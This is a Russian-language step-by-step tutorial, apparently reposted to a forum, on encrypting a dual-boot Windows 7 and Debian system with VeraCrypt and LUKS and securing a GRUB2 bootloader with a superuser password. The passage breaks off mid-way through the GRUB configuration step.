  • загрузка загрузчика VeraCrypt (верный ввод пароля продолжит загрузку Windows 7) ;
  • нажатие клавиши «Esc» загрузит загрузчик GRUB2;
  • загрузчик GRUB2 (выбор дистрибутива/ GNU/Linux/CLI) , затребует аутентификацию GRUB2-суперпользователя <логин/пароль>;
  • после успешной аутентификации и выбора дистрибутива, потребуется ввод парольной фразы для разблокировки "/boot/initrd.img";
  • после ввода безошибочных паролей в GRUB2 «потребуется» ввод пароля (третьего по счету, пароль BIOS или пароль учётки пользователя GNU/Linux – not consider) для разблокирования и загрузки ОС GNU/Linux, или автоматическая подстановка секретного ключа (два пароля + ключ, либо пароль+ключ) ;
  • внешнее вторжение в конфигурацию GRUB2 заморозит процесс загрузки GNU/Linux.

Хлопотно? Ок, идём автоматизировать процессы.

При разметке жесткого диска (таблица MBR) ПК может иметь не более 4-х главных разделов, или 3-х главных и одного расширенного, а также не размеченную область. Расширенный раздел в отличие от главного может содержать подразделы (логические диски=расширенный раздел). Иными словами, «расширенный раздел» на HDD заменяет LVM для текущей задачи: полного системного шифрования. Если ваш диск размечен на 4 главные раздела, вам необходимо использовать lvm, либо трансформировать (с форматированием) раздел с главного на расширенный, либо грамотно воспользоваться всеми четырьмя разделами и оставить всё, как есть, получив желаемый результат. Даже если у вас на диске один раздел, Gparted поможет разбить HDD (на дополнительные разделы) без потери данных, но все же с небольшой расплатой за такие действия.

Схема разметки жесткого диска, относительно которой пойдет вербализация всей статьи, представлена в таблице ниже.


Таблица (№1) разделов 1Тб.

Что-то подобное должно быть и у вас.
sda1 — главный раздел №1 NTFS (зашифрованный) ;
sda2 — расширенный раздел маркер;
sda6 — логический диск (на него установлен загрузчик GRUB2);
sda8 — swap (зашифрованный файл подкачки/не всегда);
sda9 — тестовый логический диск;
sda5 — логический диск для любопытных;
sda7 — ОС GNU/Linux (перенесенная ОС на зашифрованный логический диск);
sda3 — главный раздел №2 с ОС Windows 7 (шифрованный) ;
sda4 — главный раздел №3 (в нем располагалось незашифрованная GNU/Linux, используется под бэкап/не всегда).

[А] Блочное системное шифрование Windows 7

А1. VeraCrypt

Загрузка с официального сайта, либо с зеркала sourceforge установочной версии криптографического ПО VeraCrypt (на момент публикации статьи v1.24-Update3, портативная версия VeraCrypt не подойдет для системного шифрования). Чекните контрольную сумму загруженного софта

Code:Copy to clipboard

$ Certutil -hashfile "C:\VeraCrypt Setup 1.24.exe" SHA256

и сравните полученный результат с выложенной КС на сайте разработчика VeraCrypt.

Если установлено ПО HashTab, еще проще: ПКМ (VeraCrypt Setup 1.24.exe) -свойства-хэш суммы файлов.

Для проверки подписи программы в системе должны быть установлены ПО и публичный pgp ключ разработчика gnuPG; gpg4win.

А2. Установка/запуск ПО VeraCrypt с правами администратора

А3. Выбор параметров системного шифрования активного раздела
VeraCrypt – Система – Зашифровать системный раздел/диск – Обычный – Зашифровать системный раздел Windows – Мультизагрузка – (предупреждение: «Неопытным пользователям не рекомендуется использовать этот метод» и это правда, соглашаемся «Да») – Загрузочный диск («да», даже если не так, все равно «да») – Число системных дисков «2 и более» – Несколько систем на одном диске «Да» – Не Windows загрузчик «Нет» (а по факту «Да»! Иначе загрузчики VeraCrypt/GRUB2 не поделят MBR между собой, точнее, в MBR/загрузочной дорожке хранится лишь наименьшая часть кода загрузчика, основная его часть располагается в пределах файловой системы) – Мультизагрузка – Настройки параметров шифрования…

Если отклониться от вышеописанных шагов (схемы блочного системного шифрования) , то VeraCrypt выкатит предупреждение и не позволит шифровать раздел.

На следующем шаге, к целенаправленной защите данных, проведите «Тест» и выбирайте алгоритм шифрования. Если у вас несовременный CPU, то, возможно, самым быстрым окажется алгоритм шифрования Twofish, его и выбирайте. Если CPU современный, разницу заметите: AES — шифрование по результатам теста будет в несколько раз скоростнее своих криптоконкурентов. AES — самый популярный алгоритм шифрования, аппаратная часть современных CPU специально оптимизирована на «секрет» ~~так и на «взлом~~ ».

VeraCrypt поддерживает возможность криптовать диски каскадом AES (Twofish) /и другими комбинациями. На старо-ядерном CPU Intel десятилетней давности (без аппаратной поддержки AES-NI, шифрование каскадом А/Т) снижение производительности в сущности незаметное. (у CPU AMD той же эпохи/~параметров —производительность немного снижена). ОС работает в динамике и потребление ресурсов на прозрачное шифрование – незаметное. В отличие, как например, заметное снижение производительности из-за установленного тестового нестабильного desktop environment Mate v1.20.1 (или v1.20.2 точно не помню) в GNU/Linux, или из-за работы подпрограммы сорняка телеметрии в Windows7. Обычно искушенные пользователи до шифрования проводят тесты на производительность железа. Например, в Aida64/Sysbench/systemd-analyze blame и сравнивают с результатами этих же тестов после криптования системы, тем самым, для себя опровергая миф, «системное шифрование — это вредно». Замедление машины и неудобство ощутимо при резервном копировании/восстановлении зашифрованных данных, потому что сама по себе операция «системного резервного копирования данных» измеряется не в мс, и добавляются те самые <расшифровать/зашифровать на лету>. В конечном итоге каждый пользователь, которому разрешено возиться с криптографией, устанавливает баланс алгоритма шифрования относительно удовлетворения поставленных задач, степени своей паранойи и удобством пользования.

Параметр PIM лучше оставить по умолчанию, чтобы при загрузке ОС каждый раз не вводить точные значения итераций. VeraCrypt применяет огромное кол-во итераций для создания действительно «медленного хэша». Атака на такую «криптоулитку» методом Brute force/радужных таблиц имеет смысл только при ~~короткой~~ «простой» парольной фразе и персонального charset-листа жертвы. Расплата за стойкость пароля – задержка при верном вводе пароля при загрузке ОС (монтирование томов VeraCrypt в GNU/Linux — существенно быстрее).
Свободный софт для реализации brute force атаки (извлечение парольной фразы из заголовка диска VeraCrypt/LUKS) Hashcat. John the Ripper не умеет «ломать Veracrypt», а при работе с LUKS не понимает криптографию Twofish. К слову, среди некоммерческого софта во всём остальном JtR лучше чем Hashcat.

По причине криптографической стойкости алгоритмов шифрования, неудержимые шифропанки и их антиподы разрабатывают софт с другим вектором атаки. Например, извлечения метаданных/ключей из ОЗУ (атака холодным ботинком/прямым доступом к памяти), кража заголовка LUKS с одновременным перехватом пароля и отправкой сетевых пакетов, возможно, что-то ещё, чего я не знаю. Существует специализированное свободное и несвободное ПО для этих целей.

По окончанию настройки/генерации «уникальных метаданных» шифруемого активного раздела, VeraCrypt предложит перезагрузить ПК и протестировать работоспособность своего загрузчика. После reboot-а/старта Windows, VeraCrypt подгрузится в режиме ожидания, останется лишь подтвердить процесс шифрования — Y.

На финальном шаге системного шифрования VeraCrypt предложит создать резервную копию заголовка активного зашифрованного раздела в виде «veracrypt rescue disk.iso» — сделать нужно обязательно — в этом софте такая операция является требованием (в LUKS, как требование – это к сожалению, опущено, но подчеркнуто в документации). Rescue disk пригодится всем, а кому-то и не один раз. Не имея заголовка диска, перенос OS, утеря (перезапись заголовка/MBR) резервной копии заголовка навсегда лишит доступа к дешифрованному разделу с OS Windows.

А4. Создание спасательного usb/диска VeraCrypt
По умолчанию VeraCrypt предлагает прожечь «метаданные ~2-3мБ» на компакт-диск, но не у всех людей есть диски или приводы DWD-ROM-ы, а создание загрузочной флэшки «VeraCrypt Rescue disk» для кого-то окажется техническим сюрпризом: Rufus/GUIdd-ROSA ImageWriter и другой подобный софт — не смогут справиться с поставленной задачей, потому что помимо копирования смещенных метаданных на загрузочную флэшку, нужно из образа сделать copy/paste за пределами файловой системы usb-накопителя, короче, правильно скопировать MBR/дорожу на брелок. Из-под ОС GNU/Linux создать загрузочную флэшку, можно воспользовавшись утилитой «dd», глядя на эту табличку.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F_z%2Fzl%2Ff-%2F_zzlf- zhvflotagy215jpqv9dkw.jpeg&hash=7a0a443e7d0ea515c58a3df55cc1f88b)

Создание спасательного диска в среде Windows — иначе. Разработчик VeraCrypt не включил решение этой задачки в официальную документацию по «rescue disk», но предложил решение другим путем: выложил дополнительное ПО по созданию «usb rescue disk/сылку убрал» в свободный доступ, на своем форуме VeraCrypt. Архивариус этого ПО для Windows – «создание usb veracrypt rescue disk». После сохранения rescue disk.iso начнется процесс блочного системного шифрования активного раздела. Во время шифрования работа ОС не останавливается, перезагрузка ПК не требуется. По завершению операции криптования, активный раздел становится полностью зашифрованным, можно пользоваться. Если при запуске ПК не появляется загрузчик VeraCrypt, и не помогает операция восстановления заголовка, то проверьте флаг «boot», он должен быть установлен на раздел, где присутствует Windows (независимо от шифрования и других ОС, см. таблица №1).
На этом описание блочного системного шифрования с ОС Windows закончено.

[ B ]LUKS. Шифрование GNU/Linux (~Debian) установленной ОС. Алгоритм и Шаги

Для того чтобы зашифровать установленный Debian/производный дистрибутив, требуется сопоставить подготовленный раздел с виртуальным блочным устройством, перенести на сопоставленный диск GNU/Linux, и установить/настроить GRUB2. Если у вас не голый сервер, и вы дорожите своим временем, то пользоваться необходимо GUI, а большинство терминальных команд, описанных ниже, подразумевается водить в «режиме Чак-Норрис».

B1. Загрузка ПК с live usb GNU/Linux

«Провести криптотест на производительность железа»

Code:Copy to clipboard

lscpu && сryptsetup benchmark

Если вы счастливый владелец мощной тачки с аппаратной поддержкой AES-NI, то цифры будут похожи на правую часть терминала, если вы счастливый, но с античным железом — на левую часть.

**B2. Разметка диска. монтирование/форматирование фс логического диска HDD в Ext4 (Gparted)

B2.1. Создание зашифрованного заголовка раздела sda7**
Описывать имена разделов, здесь и далее, буду согласно относительно своей таблицы разделов, выложенной выше. Согласно вашей разметке диска, вы должны подставлять свои имена разделов.

Сопоставление шифрования логического диска (/dev/sda7 > /dev/mapper/sda7_crypt).
#Простое создание «LUKS-AES-XTS раздела»

Code:Copy to clipboard

cryptsetup -v -y luksFormat /dev/sda7

Опции:

  • luksFormat -инициализация LUKS заголовка;
  • -y -парольная фраза (не ключ/файл);
  • -v -вербализация (вывод информации в терминале);
  • /dev/sda7 -ваш логический диск из расширенного раздела (туда, куда планируется перенос/шифрование GNU/Linux).

По умолчанию алгоритм шифрования <L UKS1: aes-xts-plain64, Key: 256 bits, LUKS header hashing: sha256, RNG: /dev/urandom > (зависит от версии cryptsetup).

Code:Copy to clipboard

#Проверка default-алгоритма шифрования
cryptsetup  --help #самая последняя строка в выводе терминала.

При отсутствии аппаратной поддержки AES на CPU, лучшим выбором будет создание расширенного «LUKS-Twofish-XTS-раздела».

B2.2. Расширенное создание «LUKS-Twofish-XTS-раздела»

Code:Copy to clipboard

cryptsetup luksFormat /dev/sda7 -v -y -c twofish-xts-plain64 -s 512 -h sha512 -i 1500 --use-urandom

Опции:

  • luksFormat -инициализация LUKS заголовка;
  • /dev/sda7 ваш будущий зашифрованный логический диск;
  • -v вербализация;
  • -y парольная фраза;
  • -c выбор алгоритма шифрования данных;
  • -s размер ключа шифрования;
  • -h алгоритм хеширования/криптофункция, используется ГСЧ (--use-urandom) для генерации уникального ключа шифрования/дешифрирования заголовка логического диска, вторичного ключа заголовка (XTS); уникального мастер ключа хранящегося в зашифрованном заголовке диска, вторичного XTS ключа, все эти метаданные и подпрограмма шифрования, которая с помощью мастер ключа и вторичного XTS-ключа шифруют/дешифруют любые данные на разделе (кроме заголовка раздела) хранятся в ~3мБ на выбранном разделе жесткого диска.
  • -i итерации в миллисекундах, вместо «количества» (задержка по времени при обработке парольной фразы, влияет на загрузку ОС и криптостойкость ключей). Для сохранения баланса криптостойкости при простом пароле типа «russian» требуется увеличивать значение -(i), при сложном пароле типа «?8d?ob/ofh» значение можно уменьшать.
  • --use-urandom генератор случайных чисел, генерирует ключи и соль.

После сопоставления раздела sda7 > sda7_crypt (операция быстрая, так как создается зашифрованный заголовок с метаданными ~3 мБ и на этом всё) , нужно отформатировать и смонтировать файловую систему sda7_crypt.

B2.3. Сопоставление

Code:Copy to clipboard

cryptsetup open /dev/sda7 sda7_crypt
#выполнение данной команды запрашивает ввод секретной парольной фразы.

опции:

  • open -сопоставить раздел «с именем»;
  • /dev/sda7 -логический диск;
  • sda7_crypt -сопоставление имени, которое используется для монтирования зашифрованного раздела или его инициализации при загрузке ОС.

B2.4. Форматирование файловой системы sda7_crypt в ext4. Монтирование диска в ОС
(Примечание: в Gparted работать с шифрованным разделом уже не получится)

Code:Copy to clipboard

#форматирование блочного шифрованного устройства
mkfs.ext4 -v -L DebSHIFR /dev/mapper/sda7_crypt

опции:

  • -v -вербализация;
  • -L -метка диска (которая отображается в проводнике среди других дисков).

Далее, следует примонтировать виртуальное-шифрованное блочное устройство /dev/sda7_crypt в систему

Code:Copy to clipboard

mount /dev/mapper/sda7_crypt /mnt

Работа с файлами в папке /mnt приведет к автоматическому шифрованию/дешифрированию данных в sda7.

Удобнее сопоставлять и монтировать раздел в проводнике (nautilus/caja GUI) , раздел уже будет в списке выбора дисков, останется ввести только парольную фразу для открытия/расшифрования диска. Сопоставляемое имя при этом будет выбрано автоматически и не «sda7_crypt», а что-то вроде /dev/mapper/Luks-xx- xx…

B2.5. Резервное копирование заголовка диска (метаданные ~3мБ)
Одна из самых важных операций, которую необходимо сделать, не откладывая — резервная копия заголовка «sda7_crypt». Если перезаписать/повредить заголовок (например, установкой GRUB2 в раздел sda7 и тд.) , зашифрованные данные будут потеряны окончательно без какой-либо возможности их восстановить, потому что невозможно будет повторно сгенерировать одинаковые ключи, ключи создаются уникальные.

Code:Copy to clipboard

#Бэкап заголовка раздела
cryptsetup luksHeaderBackup --header-backup-file ~/Бэкап_DebSHIFR /dev/sda7

Code:Copy to clipboard

#Восстановление заголовка раздела
cryptsetup luksHeaderRestore --header-backup-file <file> <device>

опции:

  • luksHeaderBackup --header-backup-file -команда бэкап;
  • luksHeaderRestore --header-backup-file -команда восстановления;
  • ~/Бэкап_DebSHIFR — файл резервной копии;
  • /dev/sda7 -раздел, чью резервную копия шифрованного заголовка диска требуется сохранить.
    На этом шаге <создание и редактирование зашифрованного раздела> закончено.

B3. Перенос ОС GNU/Linux (sda4) на зашифрованный раздел (sda7)

Создаем папку /mnt2 (Примечание — мы все еще работаем с live usb, в точку /mnt смонтирован sda7_crypt) , и монтируем наш GNU/Linux в /mnt2, который необходимо зашифровать.

Code:Copy to clipboard

mkdir /mnt2
mount /dev/sda4 /mnt2

Осуществляем корректный перенос ОС с помощью ПО Rsync

Code:Copy to clipboard

rsync -avlxhHX --progress /mnt2/ /mnt

Опции Rsync описаны в п.E1.

Далее, необходимо провести дефрагментацию раздела логического диска

Code:Copy to clipboard

e4defrag -c /mnt/ #после проверки, e4defrag выдаст, что степень дефрагментации раздела~"0", это заблуждение, которое может вам стоить существенной потери производительности!
e4defrag /mnt/ #проводим дефрагментацию шифрованной GNU/Linux

Возьмите за правило: делать e4defrag на зашифрованной GNU/LInux время от времени если у Вас HDD.
Перенос и синхронизация [GNU/Linux > GNU/Linux-зашифрованная] на этом шаге закончены.

В4. Настройка GNU/Linux на зашифрованном разделе sda7

После успешного переноса ОС /dev/sda4 > /dev/sda7 необходимо войти в GNU/Linux на зашифрованном разделе, и осуществить дальнейшую настройку (без перезагрузки ПК) относительно зашифрованной системы. То есть находиться в live usb, но команды выполнять «относительно корня шифрованной ОС». Симулировать подобную ситуацию будет «chroot». Чтобы оперативно получать информацию с какой ОС вы в данный момент времени работаете (в шифрованной или нет, так как данные в sda4 и sda7 синхронизированы) , рассинхронизируйте ОС-ы. Создайте в корневых каталогах (sda4/sda7_crypt) пустые файлы-маркеры, например, /mnt/шифрованнаяОС и /mnt2/дешифрованнаяОС. Быстрая проверка в какой ОС вы находитесь (в том числе и на будущее):

Code:Copy to clipboard

ls /<Tab-Tab>

B4.1. «Симуляция входа в зашифрованную ОС»

Code:Copy to clipboard

mount --bind /dev /mnt/dev
mount --bind /proc /mnt/proc
mount --bind /sys /mnt/sys
chroot /mnt

B4.2. Проверка, что работа осуществляется относительно зашифрованной системы

Code:Copy to clipboard

ls /mnt<Tab-Tab>
#и видим файл "/шифрованнаяОС"

Code:Copy to clipboard

history
#в выводе терминала должна появиться история команд su рабочей ОС.

B4.3. Создание/настройка зашифрованного swap, правка crypttab/fstab
Так как файл подкачки при каждом старте ОС форматируется, то не имеет смысла создавать и сопоставлять swap с логическим диском сейчас, и набивать команды, как в п.B2.2. Для Swap-а при каждом старте будут автоматически генерироваться свои временные шифровальные ключи. Жизненный цикл ключей swap-a: размонтирование/отключение swap-раздела (+очистка ОЗУ) ; или перезапуск ОС. Настройка swap, открываем файл, отвечающий за конфигурацию блочных шифрованных устройств (аналог fstab-файла, но отвечающий за крипто).

Code:Copy to clipboard

nano /etc/crypttab

правим

Code:Copy to clipboard

#«target name» «source device» «key file» «options»
swap /dev/sda8 /dev/urandom swap,cipher=twofish-xts-plain64,size=512,hash=sha512

Опции

  • swap -сопоставленное имя при шифровании /dev/mapper/swap.
  • /dev/sda8 -используйте ваш логический раздел под swap.
  • /dev/urandom -генератор случайных ключей шифрования для swap (с каждой новой загрузкой ОС — созданные новые ключи). Генератор /dev/urandom менее случайный, чем /dev/random, как-никак /dev/random используется при работе в опасных параноидальных обстоятельствах. При загрузке ОС /dev/random тормозит загрузку на несколько ± минут (см. systemd-analyze).
  • swap,cipher=twofish-xts-plain64,size=512,hash=sha512: -раздел знает, что он swap и форматируется «соответственно»; алгоритм шифрования.

Code:Copy to clipboard

#Открываем и правим fstab
nano /etc/fstab

правим

Code:Copy to clipboard

# swap was on /dev/sda8 during installation
/dev/mapper/swap none swap sw 0 0

/dev/mapper/swap -имя , которое задали в crypttab.

Альтернативный зашифрованный swap
Если по каким-то причинам вы не хотите отдавать целый раздел под файл подкачки, то можно пойти альтернативным и лучшим путём: создание файла подкачки в файле на зашифрованном разделе с ОС.

Code:Copy to clipboard

fallocate -l 3G /swap #создание файла размером 3Гб (почти мгновенная операция)
chmod 600 /swap #настройка прав
mkswap /swap #из файла создаём файл подкачки
swapon /swap #включаем наш swap
free -m #проверяем, что файл подкачки активирован и работает
printf "/swap none swap sw 0 0" >> /etc/fstab #при необходимости после перезагрузки swap будет постоянный

Настройка раздела подкачки завершена.

B4.4. Настройка зашифрованной GNU/Linux (правка файлов crypttab/fstab)
Файл /etc/crypttab, как написал выше, описывает зашифрованные блочные устройства, которые настраиваются во время загрузки системы.

Code:Copy to clipboard

#правим /etc/crypttab
nano /etc/crypttab

если сопоставляли раздел sda7>sda7_crypt как в п.B2.1

Code:Copy to clipboard

# «target name» «source device» «key file» «options»
sda7_crypt UUID=81048598-5bb9-4a53-af92-f3f9e709e2f2 none luks

если сопоставляли раздел sda7>sda7_crypt как в п.B2.2

Code:Copy to clipboard

# «target name» «source device» «key file» «options»
sda7_crypt UUID=81048598-5bb9-4a53-af92-f3f9e709e2f2 none cipher=twofish-xts-plain64,size=512,hash=sha512

если сопоставляли раздел sda7>sda7_crypt как в п.B2.1 or B2.2, но не хотите повторно вводить пароль для разблокировки и загрузки ОС, то вместо пароля можно подставить секретный ключ/случайный файл

Code:Copy to clipboard

# «target name» «source device» «key file» «options»
sda7_crypt UUID=81048598-5bb9-4a53-af92-f3f9e709e2f2 /etc/skey luks

Описание

  • none -сообщает, что при загрузке ОС, для разблокировки корня требуется ввод секретной парольной фразы.
  • UUID -идентификатор раздела. Чтобы узнать свой идентификатор набираете в терминале (напоминание, что все это время и далее, вы работаете в терминале в среде chroot, а не в другом терминале live usb).

Code:Copy to clipboard

fdisk -l #проверка всех разделов
blkid #должно быть что-то подобное

Code:Copy to clipboard

/dev/sda7: UUID=«81048598-5bb9-4a53-af92-f3f9e709e2f2» TYPE=«crypto_LUKS» PARTUUID=«0332d73c-07»
/dev/mapper/sda7_crypt: LABEL=«DebSHIFR» UUID=«382111a2-f993-403c-aa2e-292b5eac4780» TYPE=«ext4»

эту строчку видно при запросе blkid из терминала live usb при смонтированном sda7_crypt).
UUID берете именно от вашего sdaX (не sdaX_crypt!, UUID sdaX_crypt – автоматом уйдет при генерации конфига grub.cfg).

  • cipher=twofish-xts-plain64,size=512,hash=sha512 -luks шифрование в расширенном режиме.
  • /etc/skey -секретный файл-ключ, который подставляется автоматически для разблокировки загрузки ОС (вместо ввода 3-го пароля). Файл можно указать любой до 8мБ, но считываться данные будут <1мБ.

Code:Copy to clipboard

#Создание "генерация" случайного файла <секретного ключа> размером 691б.
head -c 691 /dev/urandom > /etc/skey

Code:Copy to clipboard

#Добавление секретного ключа (691б) в 7-й слот заголовка luks
cryptsetup luksAddKey --key-slot 7 /dev/sda7 /etc/skey

Code:Copy to clipboard

#Проверка слотов "пароли/ключи luks-раздела"
cryptsetup luksDump /dev/sda7

Выглядеть будет примерно так:
(сделайте сами и сами увидите).

Code:Copy to clipboard

cryptsetup luksKillSlot /dev/sda7 7 #удаление ключа/пароля из 7 слота

/etc/fstab содержит описательную информацию о различных файловых системах.

Code:Copy to clipboard

#Правим /etc/fstab
nano /etc/fstab

Code:Copy to clipboard

# «file system» «mount poin» «type» «options» «dump» «pass»
# / was on /dev/sda7 during installation
/dev/mapper/sda7_crypt / ext4 errors=remount-ro 0 1

опция

  • /dev/mapper/sda7_crypt -имя сопоставления sda7>sda7_crypt, которое указано в файле /etc/crypttab.
    **Настройка crypttab/fstab закончена.

B4.5. Редактирование файлов конфигурации. Ключевой момент

B4.5.1. Редактирование конфига /etc/initramfs-tools/conf.d/resume**

Code:Copy to clipboard

#Если у вас ранее был активирован swap раздел, отключите его.
nano /etc/initramfs-tools/conf.d/resume

и закомментируйте (если существует) "#" строчку «resume». Файл должен быть полностью пустой.

B4.5.2. Редактирование конфига /etc/initramfs-tools/conf.d/cryptsetup

Code:Copy to clipboard

nano /etc/initramfs-tools/conf.d/cryptsetup

должно соответствовать

Code:Copy to clipboard

# /etc/initramfs-tools/conf.d/cryptsetup
CRYPTSETUP=yes
export CRYPTSETUP

B4.5.3. Редактирование конфига /etc/default/grub (именно этот конфиг отвечает за умение генерировать grub.cfg при работе с зашифрованным /boot)

Code:Copy to clipboard

nano /etc/default/grub

добавляем строку «GRUB_ENABLE_CRYPTODISK=y»
значение 'y', grub-mkconfig и grub-install будут проверять наличие зашифрованных дисков и генерировать дополнительные команды, необходимые для их доступа во время загрузки (insmod-ы <cryptomount/set root>).
должно быть подобие

GRUB_DEFAULT=0
GRUB_TIMEOUT=1
GRUB_DISTRIBUTOR=lsb_release -i -s 2> /dev/null || echo Debian
GRUB_CMDLINE_LINUX_DEFAULT=«acpi_backlight=vendor»
GRUB_CMDLINE_LINUX=«quiet splash noautomount»
GRUB_ENABLE_CRYPTODISK=y

Click to expand...

B4.5.4. Редактирование конфига /etc/cryptsetup-initramfs/conf-hook

Code:Copy to clipboard

nano /etc/cryptsetup-initramfs/conf-hook

проверьте, что строка <CRYPTSETUP=y> закомментирована <#>.
В будущем (и даже уже сейчас, этот параметр не будет иметь никакого значения, но иногда он мешает обновлять образ initrd.img).

B4.5.5. Редактирование конфига /etc/cryptsetup-initramfs/conf-hook

Code:Copy to clipboard

nano /etc/cryptsetup-initramfs/conf-hook

добавляем

Code:Copy to clipboard

KEYFILE_PATTERN="/etc/skey"
UMASK=0077

Это упакует секретный ключ «skey» в initrd.img, ключ необходим для разблокировки корня при загрузке ОС (если нет желания вводить пароль повторно, авто подставляется ключ «skey»).

B4.6. Обновление /boot/initrd.img [version]
Чтобы упаковать секретный ключ в initrd.img и применить исправления cryptsetup, обновляем образ

Code:Copy to clipboard

update-initramfs -u -k all

при обновлении initrd.img (как говорится «Возможно, но это не точно») появятся предупреждения, связанные с cryptsetup, или, например, уведомление о потере модулей Nvidia — это нормальное явление. После обновления файла, проверяйте, что он действительно обновился см. по времени (относительно chroot среды./boot/initrd.img).Внимание! перед [update-initramfs -u -k all] обязательно проверить, что cryptsetup open /dev/sda7 sda7_crypt — именно это имя должно быть, которое фигурирует в /etc/crypttab, иначе после reboot-a ошибка busybox)
На этом шаге настройка файлов конфигурации завершена.

[С] Установка и настройка GRUB2/Защита

C1. При необходимости отформатируйте выделенный раздел для загрузчика (разделу достаточно не менее 20мБ)

Code:Copy to clipboard

mkfs.ext4 -v -L GRUB2 /dev/sda6

C2. Монтирование /dev/sda6 в /mnt

Так мы работаем в chroot, то в корне не будет каталога /mnt2, а папка /mnt — будет пустой.
монтируем раздел GRUB2

Code:Copy to clipboard

mount /dev/sda6 /mnt

Если у вас установлена старая версия GRUB2, в каталоге /mnt/boot/grub/i-386-pc (возможна другая платформа, например, не «i386-pc») отсутствуют криптомодули (короче, в папке должны находиться модули, включая эти .mod: cryptodisk; luks; gcry_twofish; gcry_sha512; signature_test.mod), в таком случае GRUB2 необходимо встряхнуть.

Code:Copy to clipboard

apt-get update
apt-get install grub2

Важно! Во время обновления пакета GRUB2 из репозитория, на вопрос «о выборе» в какое место устанавливать загрузчик – необходимо отказаться от инсталляции (причина — попытка установки GRUB2 — в «MBR» или на live usb). В противном случае вы повредите заголовок/загрузчик VeraCrypt. После обновления пакетов GRUB2, и отмены установки, загрузчик нужно инсталлировать вручную на логический диск, а не в «MBR». Если в вашем репозитории устаревшая версия GRUB2, попробуйте [апдейтить](https://www.gnu.org/software/grub/manual/grub/grub.html#Obtaining- and-Building-GRUB) его с официального сайта – не проверял (работал со свежими загрузчиками GRUB 2.02 ~BetaX).

C3. Инсталляция GRUB2 в расширенный раздел [sda6]
У вас должен быть смонтирован раздел [п.C.2]

Code:Copy to clipboard

grub-install --force --root-directory=/mnt /dev/sda6

опции

  • --force -установка загрузчика, минуя все предупреждения, которые практически всегда существуют и блокируют установку (обязательный флаг).
  • --root-directory -установка каталога <boot/grub> в корень sda6.
  • /dev/sda6 -ваш sdaХ раздел (не пропустите <пробел> между /mnt /dev/sda6).

C4. Создание файла конфигурации [grub.cfg]
Забудьте о команде «update-grub2», и используйте полноценную команду генерации файла конфигурации

Code:Copy to clipboard

grub-mkconfig -o /mnt/boot/grub/grub.cfg

после завершения генерации/обновления файла grub.cfg, в терминале вывода должны быть строчки(а) с найденными ОС на диске («grub-mkconfig» возможно найдет и подхватит ОС с live usb, если у вас мультизагрузочная флэшка с Windows 10 и кучей живых дистрибутивов — это нормально). Если в терминале «пусто», файл «grub.cfg» не сгенерирован, то это тот самый случай, когда в системе GRUBые баги (и скорее всего загрузчик из тестовой ветки репозитория), переустановите GRUB2 из надежных источников.
**Установка «простая конфигурация» и настройка GRUB2 завершена.

C5. Proof-test зашифрованной ОС GNU/Linux**
Корректное завершаем криптомиссию. Аккуратно покидаем зашифрованную GNU/Linux (выход из среды chroot).

Code:Copy to clipboard

umount -a #размонтирование всех смонтированных разделов шифрованной GNU/Linux
Ctrl+d #выход из среды chroot
umount /mnt/dev
umount /mnt/proc
umount /mnt/sys
umount -a #размонтирование всех смонтированных разделов на live usb
reboot

После перезагрузки ПК должен загрузиться загрузчик VeraCrypt.

*Ввод пароля для активного раздела — начнется загрузка ОС Windows.
*Нажатие клавиши «Esc» передаст управление GRUB2, при выборе зашифрованной GNU/Linux – потребуется пароль (sda7_crypt) для разблокировки /boot/initrd.img (если grub2 пишет uuid «не найден» — это проблема загрузчика grub2, его следует переустановить, например, с тестовой ветки/стабильный и пд).

*В зависимости от того, как вы настроили систему (см. п.B4.4/4.5) после верного ввода пароля для разблокировки образа /boot/initrd.img, потребуется пароль для загрузки ядра/корня ОС, либо автоматически подставится секретный ключ «skey», избавляя от повторного ввода парольной фразы.

(скрин «автоматическая подстановка секретного ключа»).

*Далее понесется знакомый процесс загрузки GNU/Linux с аутентификацией учетки пользователя.

*После авторизации пользователя и входа в ОС, нужно повторно обновить /boot/initrd.img (см В4.6).

Code:Copy to clipboard

update-initramfs -u -k all

А в случае лишних строк в меню GRUB2 (из подхвата ОС-м с live usb) избавиться от них

Code:Copy to clipboard

mount /dev/sda6 /mnt
grub-mkconfig -o /mnt/boot/grub/grub.cfg

Краткий итог по системному шифрованию GNU/Linux:

  • GNU/Linuxinux зашифрован полностью, включая /boot/kernel and initrd;
  • секретный ключ упакован в initrd.img;
  • текущая схема авторизации (ввод пароля на разблокировку initrd; пароль/ключ на загрузку ОС; пароль авторизации учетки Linux).

**«Простая конфигурация GRUB2» системное шифрование блочного раздела закончено.

С6. Расширенная настройка GRUB2. Защита загрузчика цифровой подписью + защита аутентификацией**
GNU/Linux зашифрован полностью, но загрузчик шифровать нельзя – такое условие продиктовано BIOS. По этой причине цепочная зашифрованная загрузка GRUB2 невозможна, но возможна/доступна простая цепочная загрузка, с точки зрения защиты – не нужно [см. П. F].
Для «уязвимого» GRUB2 разработчики реализовали алгоритм защиты загрузчика «подписью/аутентификацией».

  • При защите загрузчика «своей цифровой подписью» внешняя модификация файлов, либо попытка загрузить в данном загрузчике дополнительные модули – приведет процесс загрузки к блокировке.
  • При защите загрузчика аутентификацией для выбора загрузки какого-либо дистрибутива, либо ввод дополнительных команд в CLI, потребуется ввести логин и пароль суперпользователя-GRUB2.

С6.1. Защита загрузчика аутентификацией

Проверьте, что вы работаете в терминале в зашифрованной ОС

Code:Copy to clipboard

ls /<Tab-Tab> #обнаружить файл-маркер

создайте пароль суперпользователя для авторизации в GRUB2

Code:Copy to clipboard

grub-mkpasswd-pbkdf2 #введите/повторите пароль суперпользователя.

Получите хэш пароля. Что-то похоже на это

grub.pbkdf2.sha512.10000.DE10E42B01BB6FEEE46250FC5F9C3756894A8476A7F7661A9FFE9D6CC4D0A168898B98C34EBA210F46FC10985CE28277D0563F74E108FCE3ACBD52B26F8BA04D.27625A4D30E4F1044962D3DD1C2E493EF511C01366909767C3AF9A005E81F4BFC33372B9C041BE9BA904D7C6BB141DE48722ED17D2DF9C560170821F033BCFD8

Click to expand...

монтируем раздел GRUB

Code:Copy to clipboard

mount /dev/sda6 /mnt

редактируем конфиг

Code:Copy to clipboard

nano -$ /mnt/boot/grub/grub.cfg

проверьте поиск по файлу, что в «grub.cfg» отсутствуют где-либо флаги (" --unrestricted" "--user",
добавьте в самом конце (перед строкой ### END /etc/grub.d/41_custom ###)
«set superusers=»root"
password_pbkdf2 root хэш".

Должно быть примерно так

This file provides an easy way to add custom menu entries. Simply type the

